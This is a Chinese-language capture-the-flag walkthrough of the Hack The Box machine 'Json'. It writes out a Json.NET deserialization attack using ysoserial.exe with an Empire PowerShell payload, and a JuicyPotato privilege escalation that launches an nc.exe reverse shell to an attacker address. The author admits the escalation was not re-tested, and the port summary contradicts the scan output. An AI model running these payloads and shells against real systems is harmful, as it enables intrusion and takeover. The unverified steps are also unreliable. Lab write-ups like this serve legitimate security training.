Hack the box-Json

简介: Hack the box-Json

大家好,今天给大家带来的CTF挑战靶机是来自hackthebox的“Json”,hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。本级靶机难度为中等级别,任务是找到靶机上的user.txt和root.txt。

摘要

  • Json.net 反序列 getshell
  • JuicePotato 提权

信息收集

       nmap 扫出了 22 , 80 端口

nmap -sC -sV -p- -T4 10.10.10.158
Host is up (0.052s latency).
Not shown: 65521 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          FileZilla ftpd
| ftp-syst:
|_  SYST: UNIX emulated by FileZilla
80/tcp    open  http         Microsoft IIS httpd 8.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

  主页登录盲猜弱口令

admin:admin

进去管理系统没什么功能

      登录框抓包发现猫腻

640.jpg

       改包为GET后发现bearer参数

      bearer参数是json类型

      把 json 参数打乱

{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3",hello world}

640.jpg

Json.net反序列 getshell

       发现json.net反序列

      利用 ysoserial.exe 进行参数注入getshell

      ysoserial.exe 配合 empire的powershell payload 获取shell

empire下操作:
./empire
uselistener http
set Host http://10.10.xx.xx:4444
set Port 4444
execute
back
launcher powershell
>>获得$$Empire payload$$
windows下操作:
ysoserial.exe -g ObjectDataProvider -f json.net -c "$$Empire Payload$$" -o base64

640.png

获取user.txt

Juice potato 提权

       检查windows版本

(empire:XXXXXXX)shell systeminfo | findstr Windows
OS Name:                   Microsoft Windows Server 2012 R2 Datacenter

       用户有 SeImpersonatePrivilege 权限

(empire:XXXXXXX)shell whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

windows server 2019之前可以使用 juicypotato 提权工具

 依靠 SeImpersonatePrivilege 权限,我们应该可以提到 system 权限

nc -lvp 4444
(empire:XXXXXXX)cd \windows\temp
(empire:XXXXXXX)shell copy \\10.10.xx.xx\n00B\JuicyPotato.exe .
(empire:XXXXXXX)shell copy \\10.10.xx.xx\n00B\nc.exe .
(empire:XXXXXXX)shell echo c:\windows\temp\nc.exe 10.10.xx.xx 4444 -e cmd.exe > start.bat
(empire:XXXXXXX)shell JuicyPotato.exe -l 1337 -p C:\\windows\temp\start.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

获取root.txt,提权过程没时间复现,思路是对的。


相关文章
|
2月前
|
JSON JavaScript 数据格式
html jquery from 表单提交 application/x-www-form-urlencoded 改成 json
html jquery from 表单提交 application/x-www-form-urlencoded 改成 json
35 0
|
4月前
|
Windows
[ app.json 文件内容错误] app.json: window.navigationBarTextStyle 字段需为 black,white【已解决】
[ app.json 文件内容错误] app.json: window.navigationBarTextStyle 字段需为 black,white【已解决】
59 1
content‘ is declared but its value is never read.富文本编辑器中这里必须的script中添加setup,引入到set当中时,带title的富文本写法
content‘ is declared but its value is never read.富文本编辑器中这里必须的script中添加setup,引入到set当中时,带title的富文本写法
|
5月前
|
前端开发
css教程-li的list-style-type属性
通过设置 `list-style-type`属性,你可以根据需求为列表项设置不同的标志样式,从而改变列表的外观。 买CN2云服务器,免备案服务器,高防服务器,就选蓝易云。百度搜索:蓝易云
48 4
|
前端开发
Media Query 在 CSS 中使用的一个具体例子
Media Query 在 CSS 中使用的一个具体例子
|
5月前
highlight.line-numbers.js下载及使用
highlight.line-numbers.js下载及使用
69 1
|
Web App开发 JSON 数据格式
11jqGrid - 配置json
11jqGrid - 配置json
29 0
|
JSON JavaScript 前端开发
JavaScript将csv转为json的解决方案(2):papaparse.js插件
JavaScript将csv转为json的解决方案(2):papaparse.js插件
153 0
|
JSON JavaScript 数据格式
【codemirror】Json编辑器使用总结
【codemirror】Json编辑器使用总结
|
前端开发
html中!important属性的实际用法
什么是!important !important是一个修饰符,语法是选择器{属性:属性值 !important}。作用是更改默认的CSS样式优先级。